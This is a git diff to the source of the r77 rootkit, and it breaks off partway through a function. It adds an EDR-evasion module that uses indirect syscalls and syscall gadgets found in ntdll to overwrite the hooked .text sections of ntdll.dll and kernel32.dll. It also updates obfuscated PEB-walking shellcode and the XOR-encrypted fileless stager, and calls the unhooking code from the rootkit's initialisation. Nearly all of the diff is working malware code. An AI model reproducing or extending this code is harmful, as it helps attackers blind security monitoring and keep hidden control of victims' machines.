diff --git a/BuildTask/BuildTask.cs b/BuildTask/BuildTask.cs index 914a8f8..6da5cc7 100644 --- a/BuildTask/BuildTask.cs +++ b/BuildTask/BuildTask.cs @@ -61,17 +61,19 @@ private static byte[] Compress(byte[] data) } private static byte[] Encrypt(byte[] data) { - // Only a trivial encryption algorithm is used. - // This improves the stability of the fileless startup, because less .NET classes are imported that may not be present on the target computer. + // A trivial encryption algorithm is sufficient and requires no .NET classes to be imported. byte[] encrypted = new byte[data.Length + 4]; - RandomNumberGenerator.Create().GetBytes(encrypted, 0, 4); + using (RandomNumberGenerator random = RandomNumberGenerator.Create()) + { + random.GetBytes(encrypted, 0, 4); + } int key = BitConverter.ToInt32(encrypted, 0); for (int i = 0; i < data.Length; i++) { - encrypted[i + 4] = (byte)(data[i] ^ (byte)key); + encrypted[i + 4] = (byte)(data[i] ^ key); key = key << 1 | key >> (32 - 1); } diff --git a/Helper32/Helper32.vcxproj b/Helper32/Helper32.vcxproj index fab5ebe..77afb2b 100644 --- a/Helper32/Helper32.vcxproj +++ b/Helper32/Helper32.vcxproj @@ -58,6 +58,7 @@ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true DllMain + false mkdir "$(SolutionDir)$Build" diff --git a/Helper64/Helper64.vcxproj b/Helper64/Helper64.vcxproj index 47d3940..c8ee9f8 100644 --- a/Helper64/Helper64.vcxproj +++ b/Helper64/Helper64.vcxproj @@ -58,6 +58,7 @@ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true DllMain + false mkdir "$(SolutionDir)$Build" diff --git a/Install/Install.vcxproj b/Install/Install.vcxproj index 4990661..8202bc3 100644 --- a/Install/Install.vcxproj +++ b/Install/Install.vcxproj @@ -68,6 +68,7 @@ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true EntryPoint + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper @@ -103,6 +104,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true EntryPoint + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper diff --git a/InstallShellcode/PebApi.asm b/InstallShellcode/PebApi.asm index f5aa4c2..edac7a4 100644 --- a/InstallShellcode/PebApi.asm +++ b/InstallShellcode/PebApi.asm @@ -1,16 +1,11 @@ -proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD +proc PebGetModuleHandle ModuleHash:DWORD local FirstEntry:DWORD local CurrentEntry:DWORD - local ModuleBase:DWORD - local ExportDirectory:DWORD - local NameDirectory:DWORD - local NameOrdinalDirectory:DWORD - local FunctionCounter:DWORD ; Get InMemoryOrderModuleList from PEB mov eax, 3 shl eax, 4 - mov eax, [fs:eax] ; fs:0x30 + mov eax, [fs:eax] ; obfuscated fs:0x30 mov eax, [eax + PEB.Ldr] mov eax, [eax + PEB_LDR_DATA.InMemoryOrderModuleList.Flink] mov [FirstEntry], eax @@ -30,12 +25,12 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD cld .L_module_hash: lodsb - ror edx, 13 - add edx, eax cmp al, 'a' jl @f - sub edx, 0x20 ; Convert lower case letters to upper case -@@: dec ecx + and eax, 0xdf ; Convert lower case letters to upper case +@@: ror edx, 13 + add edx, eax + dec ecx test ecx, ecx jnz .L_module_hash @@ -43,9 +38,35 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD cmp edx, [ModuleHash] jne .C_module - ; Get module base + ; Return module base mov eax, [CurrentEntry] mov eax, [eax + LDR_DATA_TABLE_ENTRY.DllBase] + ret + +.C_module: + ; Move to next module, exit loop if CurrentEntry == FirstEntry + mov eax, [CurrentEntry] + mov eax, [eax + LIST_ENTRY.Flink] + mov [CurrentEntry], eax + cmp eax, [FirstEntry] + jne .L_module + + ; Module not found + xor eax, eax + ret +endp + +proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD + local ModuleBase:DWORD + local ExportDirectory:DWORD + local NameDirectory:DWORD + local NameOrdinalDirectory:DWORD + local FunctionCounter:DWORD + + ; Get module + stdcall PebGetModuleHandle, [ModuleHash] + test eax, eax + jz .E_functions mov [ModuleBase], eax ; Get export directory @@ -116,16 +137,4 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD ; Function not found in module's export table xor eax, eax ret - -.C_module: - ; Move to next module, exit loop if CurrentEntry == FirstEntry - mov eax, [CurrentEntry] - mov eax, [eax + LIST_ENTRY.Flink] - mov [CurrentEntry], eax - cmp eax, [FirstEntry] - jne .L_module - - ; Module not found - xor eax, eax - ret endp \ No newline at end of file diff --git a/Service/Service.c b/Service/Service.c index 3c4edd4..4d5b181 100644 --- a/Service/Service.c +++ b/Service/Service.c @@ -1,4 +1,5 @@ #include "Service.h" +#include "Unhook.h" #include "r77def.h" #include "r77win.h" #include "r77config.h" @@ -10,11 +11,7 @@ int main() { // Unhook DLL's that are monitored by EDR. - UnhookDll(L"ntdll.dll"); - if (BITNESS(64) || IsAtLeastWindows10()) // Unhooking kernel32.dll does not work on Windows 7 x86. - { - UnhookDll(L"kernel32.dll"); - } + Unhook(); EnabledDebugPrivilege(); diff --git a/Service/Service.vcxitems b/Service/Service.vcxitems index 94dd87c..f6ce81b 100644 --- a/Service/Service.vcxitems +++ b/Service/Service.vcxitems @@ -5,6 +5,9 @@ true {46e171d4-1811-48be-8867-a63c28761d28} + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) @@ -23,4 +26,7 @@ + + + \ No newline at end of file diff --git a/Service32/Service32.vcxproj b/Service32/Service32.vcxproj index 96c466f..5f96efc 100644 --- a/Service32/Service32.vcxproj +++ b/Service32/Service32.vcxproj @@ -33,10 +33,12 @@ + + @@ -70,6 +72,7 @@ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true EntryPoint + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service @@ -99,6 +102,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true EntryPoint + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service @@ -108,5 +112,11 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" + + + + Document + + \ No newline at end of file diff --git a/Service64/Service64.vcxproj b/Service64/Service64.vcxproj index b167d42..dbb91e9 100644 --- a/Service64/Service64.vcxproj +++ b/Service64/Service64.vcxproj @@ -33,10 +33,12 @@ + + @@ -70,6 +72,7 @@ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true EntryPoint + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service @@ -99,6 +102,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) true EntryPoint + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service @@ -108,5 +112,11 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" + + + + Document + + \ No newline at end of file diff --git a/Stager/Stager.cs b/Stager/Stager.cs index 9956417..05dc533 100644 --- a/Stager/Stager.cs +++ b/Stager/Stager.cs @@ -73,7 +73,7 @@ private static byte[] Decrypt(byte[] data) for (int i = 0; i < decrypted.Length; i++) { - decrypted[i] = (byte)(data[i + 4] ^ (byte)key); + decrypted[i] = (byte)(data[i + 4] ^ key); key = key << 1 | key >> (32 - 1); } diff --git a/Unhook/Syscalls.asm b/Unhook/Syscalls.asm new file mode 100644 index 0000000..1cbd19f --- /dev/null +++ b/Unhook/Syscalls.asm @@ -0,0 +1,69 @@ +IFNDEF rax + .model flat +ENDIF + +IFDEF rax + +.data + +extern SyscallGadget:QWORD +extern NtCreateFileSyscallNumber:DWORD +extern NtQueryInformationFileSyscallNumber:DWORD +extern NtReadFileSyscallNumber:DWORD +extern NtProtectVirtualMemorySyscallNumber:DWORD + +.code + +SyscallNtCreateFile proc + mov r10, rcx + mov eax, NtCreateFileSyscallNumber + jmp SyscallGadget +SyscallNtCreateFile endp + +SyscallNtQueryInformationFile proc + mov r10, rcx + mov eax, NtQueryInformationFileSyscallNumber + jmp SyscallGadget +SyscallNtQueryInformationFile endp + +SyscallNtReadFile proc + mov r10, rcx + mov eax, NtReadFileSyscallNumber + jmp SyscallGadget +SyscallNtReadFile endp + +SyscallNtProtectVirtualMemory proc + mov r10, rcx + mov eax, NtProtectVirtualMemorySyscallNumber + jmp SyscallGadget +SyscallNtProtectVirtualMemory endp + +ELSE + +; For now, unhooking works on 64-bit Windows only. + +.code + +_SyscallNtCreateFile proc + mov eax, -1 + ret +_SyscallNtCreateFile endp + +_SyscallNtQueryInformationFile proc + mov eax, -1 + ret +_SyscallNtQueryInformationFile endp + +_SyscallNtReadFile proc + mov eax, -1 + ret +_SyscallNtReadFile endp + +_SyscallNtProtectVirtualMemory proc + mov eax, -1 + ret +_SyscallNtProtectVirtualMemory endp + +ENDIF + +end \ No newline at end of file diff --git a/Unhook/Syscalls.h b/Unhook/Syscalls.h new file mode 100644 index 0000000..197d0b5 --- /dev/null +++ b/Unhook/Syscalls.h @@ -0,0 +1,16 @@ +#include "r77mindef.h" +#ifndef _SYSCALLS_H +#define _SYSCALLS_H + +LPVOID SyscallGadget; +DWORD NtCreateFileSyscallNumber; +DWORD NtQueryInformationFileSyscallNumber; +DWORD NtReadFileSyscallNumber; +DWORD NtProtectVirtualMemorySyscallNumber; + +extern NTSTATUS SyscallNtCreateFile(LPHANDLE fileHandle, ACCESS_MASK desiredAccess, POBJECT_ATTRIBUTES objectAttributes, PIO_STATUS_BLOCK ioStatusBlock, PLARGE_INTEGER allocationSize, ULONG fileAttributes, ULONG shareAccess, ULONG createDisposition, ULONG createOptions, LPVOID eaBuffer, ULONG eaLength); +extern NTSTATUS SyscallNtQueryInformationFile(HANDLE fileHandle, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass); +extern NTSTATUS SyscallNtReadFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID buffer, ULONG length, PLARGE_INTEGER byteOffset, PULONG key); +extern NTSTATUS SyscallNtProtectVirtualMemory(HANDLE processHandle, LPVOID *baseAddress, PSIZE_T numberOfBytesToProtect, ULONGLONG newAccessProtection, PULONGLONG oldAccessProtection); + +#endif \ No newline at end of file diff --git a/Unhook/Unhook.c b/Unhook/Unhook.c new file mode 100644 index 0000000..a4ed3b8 --- /dev/null +++ b/Unhook/Unhook.c @@ -0,0 +1,213 @@ +#include "Unhook.h" +#include "Syscalls.h" +#include "ntdll.h" +#include "peb.h" +#include + +// For now, unhooking works on 64-bit Windows only. +// We will not go down the WoW64 rabbit hole, because 32-bit Windows is a minority. + +VOID Unhook() +{ + if (IsAtLeastWindows10()) // Windows 7 is currently not supported. + { + if (InitializeSyscalls()) // Retrieve gadgets and syscall numbers. + { + if (UnhookDll(L"ntdll.dll", 0x3cfa685d)) + { + UnhookDll(L"kernel32.dll", 0x6a4abc5b); + } + } + } +} + +static BOOL InitializeSyscalls() +{ +#ifdef _WIN64 + SyscallGadget = GetSyscallGadget(); + if (!SyscallGadget) return FALSE; + + NtCreateFileSyscallNumber = GetSyscallNumber("NtCreateFile"); + if (NtCreateFileSyscallNumber == -1) return FALSE; + + NtQueryInformationFileSyscallNumber = GetSyscallNumber("NtQueryInformationFile"); + if (NtQueryInformationFileSyscallNumber == -1) return FALSE; + + NtReadFileSyscallNumber = GetSyscallNumber("NtReadFile"); + if (NtReadFileSyscallNumber == -1) return FALSE; + + NtProtectVirtualMemorySyscallNumber = GetSyscallNumber("NtProtectVirtualMemory"); + if (NtProtectVirtualMemorySyscallNumber == -1) return FALSE; + + return TRUE; +#else + return FALSE; +#endif +} +static BOOL UnhookDll(LPCWSTR moduleName, DWORD moduleHash) +{ + BOOL result = FALSE; + +#ifdef _WIN64 + WCHAR path[MAX_PATH + 1]; + StrCpyW(path, L"C:\\Windows\\System32\\"); + StrCatW(path, moduleName); + + // Get currently loaded DLL, which is hooked by EDR. + LPVOID dll = PebGetModuleHandle(moduleHash); + if (dll) + { + // Get original DLL file from disk and read file using syscalls. + LPBYTE originalDll; + if (SyscallReadFileContent(path, &originalDll, NULL) && ((PIMAGE_DOS_HEADER)originalDll)->e_magic == IMAGE_DOS_SIGNATURE) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)originalDll + ((PIMAGE_DOS_HEADER)originalDll)->e_lfanew); + + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + i * IMAGE_SIZEOF_SECTION_HEADER); + + // Find the .text section of the hooked DLL and overwrite it with the original DLL section + if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text")) + { + LPVOID virtualAddress = (LPVOID)((ULONG_PTR)dll + (ULONG_PTR)sectionHeader->VirtualAddress); + SIZE_T virtualSize = sectionHeader->SizeOfRawData; + + ULONGLONG oldProtect; + if (NT_SUCCESS(SyscallNtProtectVirtualMemory((HANDLE)-1, &virtualAddress, &virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect))) + { + i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)originalDll + (ULONG_PTR)sectionHeader->PointerToRawData), sectionHeader->SizeOfRawData); + SyscallNtProtectVirtualMemory((HANDLE)-1, &virtualAddress, &virtualSize, oldProtect, &oldProtect); + + result = TRUE; + } + + break; + } + } + + FREE(originalDll); + } + } +#endif + + return result; +} + +static LPVOID GetSyscallGadget() +{ +#ifdef _WIN64 + LPVOID dllBase = PebGetModuleHandle(0x3cfa685d); + if (dllBase) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); + + if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text")) + { + LPBYTE virtualAddress = (LPBYTE)((ULONG_PTR)dllBase + (ULONG_PTR)sectionHeader->VirtualAddress); + DWORD virtualSize = sectionHeader->Misc.VirtualSize; + + for (LPBYTE ptr = virtualAddress; ptr < virtualAddress + virtualSize - 4; ptr++) + { + if ((*(LPDWORD)ptr & 0xffffff) == 0xc3050f) // syscall ret + { + return ptr; + } + } + } + } + } +#endif + + return NULL; +} +static DWORD GetSyscallNumber(PCHAR functionName) +{ +#ifdef _WIN64 + LPBYTE dllBase = (LPBYTE)PebGetModuleHandle(0x3cfa685d); + if (dllBase) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + PNT_IMAGE_RUNTIME_FUNCTION_ENTRY exceptionDirectory = (PNT_IMAGE_RUNTIME_FUNCTION_ENTRY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress); + + PDWORD addressTable = (PDWORD)(dllBase + exportDirectory->AddressOfFunctions); + PDWORD nameTable = (PDWORD)(dllBase + exportDirectory->AddressOfNames); + PWORD ordinalTable = (PWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); + + DWORD syscallNumber = 0; + + for (DWORD i = 0; exceptionDirectory[i].BeginAddress; i++) + { + for (DWORD j = 0; j < exportDirectory->NumberOfFunctions; j++) + { + if (addressTable[ordinalTable[j]] == exceptionDirectory[i].BeginAddress) + { + if (!StrCmpA((PCHAR)(dllBase + nameTable[j]), functionName)) + { + return syscallNumber; + } + else if (*(USHORT*)(dllBase + nameTable[j]) == 'wZ') + { + syscallNumber++; + } + } + } + } + } +#endif + + return -1; +} +static BOOL SyscallReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) +{ + BOOL result = FALSE; + + WCHAR fullPath[MAX_PATH + 1]; + StrCpyW(fullPath, L"\\??\\"); + StrCatW(fullPath, path); + + UNICODE_STRING fullPathString; + RtlInitUnicodeString(&fullPathString, fullPath); + + OBJECT_ATTRIBUTES objAttribs; + i_memset(&objAttribs, 0, sizeof(OBJECT_ATTRIBUTES)); + InitializeObjectAttributes(&objAttribs, &fullPathString, OBJ_CASE_INSENSITIVE, NULL, NULL); + + IO_STATUS_BLOCK ioStatusBlock; + i_memset(&ioStatusBlock, 0, sizeof(IO_STATUS_BLOCK)); + + HANDLE file; + if (NT_SUCCESS(SyscallNtCreateFile(&file, GENERIC_READ | SYNCHRONIZE, &objAttribs, &ioStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0))) + { + NT_FILE_STANDARD_INFORMATION fileInfo; + i_memset(&fileInfo, 0, sizeof(NT_FILE_STANDARD_INFORMATION)); + + i_memset(&ioStatusBlock, 0, sizeof(IO_STATUS_BLOCK)); + if (NT_SUCCESS(SyscallNtQueryInformationFile(file, &ioStatusBlock, &fileInfo, sizeof(fileInfo), FileStandardInformation))) + { + LPBYTE fileData = NEW_ARRAY(BYTE, fileInfo.EndOfFile.QuadPart); + + LARGE_INTEGER byteOffset; + byteOffset.QuadPart = 0; + + i_memset(&ioStatusBlock, 0, sizeof(IO_STATUS_BLOCK)); + if (SyscallNtReadFile(file, NULL, NULL, NULL, &ioStatusBlock, fileData, fileInfo.EndOfFile.QuadPart, &byteOffset, NULL) == ERROR_SUCCESS) + { + *data = fileData; + if (size) *size = fileInfo.EndOfFile.QuadPart; + result = TRUE; + } + else + { + FREE(fileData); + } + } + } + + return result; +} \ No newline at end of file diff --git a/Unhook/Unhook.h b/Unhook/Unhook.h new file mode 100644 index 0000000..11da6aa --- /dev/null +++ b/Unhook/Unhook.h @@ -0,0 +1,58 @@ +#include "r77mindef.h" +#ifndef _UNHOOK_H +#define _UNHOOK_H + +/// +/// Unhooks all relevant DLLs that may be hooked by EDR. +/// +VOID Unhook(); + +/// +/// Initializes the indirect syscall function library by retrieving the necessary gadgets and syscall numbers. +/// +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +static BOOL InitializeSyscalls(); +/// +/// Unhooks a DLL by replacing the .text section with the original DLL section by using indirect syscalls. +/// +/// The name of the DLL to unhook. +/// The hash of the module name. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +static BOOL UnhookDll(LPCWSTR moduleName, DWORD moduleHash); + +/// +/// Retrieves a pointer to a location in memory containing a syscall instruction, followed by a ret. +/// +/// +/// A pointer to the existing gadget, or NULL, if no gadget was found. +/// +static LPVOID GetSyscallGadget(); +/// +/// Retrieves the syscall number for a given function name. +/// This works, even if the ntdll is hooked by EDR and the "mov eax" instruction was destroyed. +/// +/// The name of the function to search. +/// +/// The equivalent syscall number, or -1, if the syscall number could not be determined. +/// +static DWORD GetSyscallNumber(PCHAR functionName); +/// +/// Reads a file from disk by using indirect syscalls. +/// This function cannot be detected by EDR hooks on ntdll. +/// +/// The path to the file to read. +/// A pointer that is set to a newly allocated buffer with the file contents. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +static BOOL SyscallReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); + +#endif \ No newline at end of file diff --git a/Unhook/Unhook.vcxitems b/Unhook/Unhook.vcxitems new file mode 100644 index 0000000..3661caa --- /dev/null +++ b/Unhook/Unhook.vcxitems @@ -0,0 +1,32 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {631adcf8-7809-4c45-b29a-30ecf33592d6} + + + + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Uninstall/Uninstall.vcxproj b/Uninstall/Uninstall.vcxproj index 6b6fc0a..c68ceca 100644 --- a/Uninstall/Uninstall.vcxproj +++ b/Uninstall/Uninstall.vcxproj @@ -68,6 +68,7 @@ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) EntryPoint true + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper @@ -98,6 +99,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) EntryPoint true + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper diff --git a/Uninstall64/Uninstall64.vcxproj b/Uninstall64/Uninstall64.vcxproj index ce7e55f..411cce8 100644 --- a/Uninstall64/Uninstall64.vcxproj +++ b/Uninstall64/Uninstall64.vcxproj @@ -72,6 +72,7 @@ true EntryPoint ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper @@ -100,6 +101,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Uninstall\Resources" true EntryPoint ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + false "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper diff --git a/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj index c15a1e7..965a6e2 100644 --- a/r77-x64/r77-x64.vcxproj +++ b/r77-x64/r77-x64.vcxproj @@ -23,10 +23,12 @@ + + @@ -56,6 +58,7 @@ true false ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) + false mkdir "$(SolutionDir)$Build" @@ -66,5 +69,6 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName) + \ No newline at end of file diff --git a/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj index 9867c39..d4d8f80 100644 --- a/r77-x86/r77-x86.vcxproj +++ b/r77-x86/r77-x86.vcxproj @@ -23,10 +23,12 @@ + + @@ -56,6 +58,7 @@ true false ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) + false mkdir "$(SolutionDir)$Build" @@ -66,5 +69,6 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName) + \ No newline at end of file diff --git a/r77.sln b/r77.sln index ab4fe04..9f4744d 100644 --- a/r77.sln +++ b/r77.sln @@ -88,6 +88,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service64", "Service64\Serv {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} EndProjectSection EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Unhook", "Unhook\Unhook.vcxitems", "{631ADCF8-7809-4C45-B29A-30ECF33592D6}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -168,6 +170,7 @@ Global {46E171D4-1811-48BE-8867-A63C28761D28} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {631ADCF8-7809-4C45-B29A-30ECF33592D6} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1} @@ -176,21 +179,26 @@ Global r77api\r77api.vcxitems*{00d7268a-92a9-4cd4-addf-175e9bf16ae0}*SharedItemsImports = 4 r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 + Unhook\Unhook.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 + Unhook\Unhook.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4 r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4 Service\Service.vcxitems*{46e171d4-1811-48be-8867-a63c28761d28}*SharedItemsImports = 9 r77api\r77api.vcxitems*{525fd9eb-628a-4d93-b320-3c1dfa0a216d}*SharedItemsImports = 9 + Unhook\Unhook.vcxitems*{631adcf8-7809-4c45-b29a-30ecf33592d6}*SharedItemsImports = 9 r77\r77.vcxitems*{6e4bb100-c3c9-4cf7-a637-08c2482c6b94}*SharedItemsImports = 9 r77api\r77api.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 Service\Service.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 + Unhook\Unhook.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 Helper\Helper.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4 r77api\r77api.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4 r77api\r77api.vcxitems*{bce48dae-232e-4b3d-b5b5-d0b29bb7e9de}*SharedItemsImports = 4 InstallShellcode\InstallShellcode.vcxitems*{deab25fd-2042-4bd6-bf4b-0802dccc70f5}*SharedItemsImports = 9 r77api\r77api.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 Service\Service.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 + Unhook\Unhook.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 Helper\Helper.vcxitems*{e6543f7a-4e58-4c55-975e-ed975481ebe8}*SharedItemsImports = 9 r77api\r77api.vcxitems*{f0005d08-6278-4bfe-b492-f86ccec797d5}*SharedItemsImports = 4 EndGlobalSection diff --git a/r77/Rootkit.c b/r77/Rootkit.c index bf83f94..9c27efd 100644 --- a/r77/Rootkit.c +++ b/r77/Rootkit.c @@ -2,12 +2,16 @@ #include "Hooks.h" #include "Config.h" #include "r77def.h" +#include "Unhook.h" #include static BOOL RootkitInitialized; BOOL InitializeRootkit() { + // Unhook DLL's that are monitored by EDR. + Unhook(); + // If the process starts with $77, do not load r77. WCHAR executablePath[MAX_PATH + 1]; if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE; diff --git a/r77api/ntdll.h b/r77api/ntdll.h index c03010d..a067399 100644 --- a/r77api/ntdll.h +++ b/r77api/ntdll.h @@ -643,6 +643,26 @@ typedef struct _NT_IMAGE_RELOC WORD Type : 4; } NT_IMAGE_RELOC, *PNT_IMAGE_RELOC; +typedef struct _NT_IMAGE_RUNTIME_FUNCTION_ENTRY +{ + DWORD BeginAddress; + DWORD EndAddress; + union + { + DWORD UnwindInfoAddress; + DWORD UnwindData; + } DUMMYUNIONNAME; +} NT_IMAGE_RUNTIME_FUNCTION_ENTRY, *PNT_IMAGE_RUNTIME_FUNCTION_ENTRY; + +typedef struct _NT_FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} NT_FILE_STANDARD_INFORMATION, *PNT_FILE_STANDARD_INFORMATION; + typedef struct _NT_PDH_DATA_ITEM_PATH_ELEMENTS_W { LPWSTR MachineName; diff --git a/r77api/r77win.c b/r77api/r77win.c index c7dc8d4..90cba7b 100644 --- a/r77api/r77win.c +++ b/r77api/r77win.c @@ -388,6 +388,20 @@ BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) return result; } +BOOL AppendFileContent(LPCWSTR path, LPBYTE data, DWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, FILE_GENERIC_READ | FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD bytesWritten; + result = WriteFile(file, data, size, &bytesWritten, NULL); + 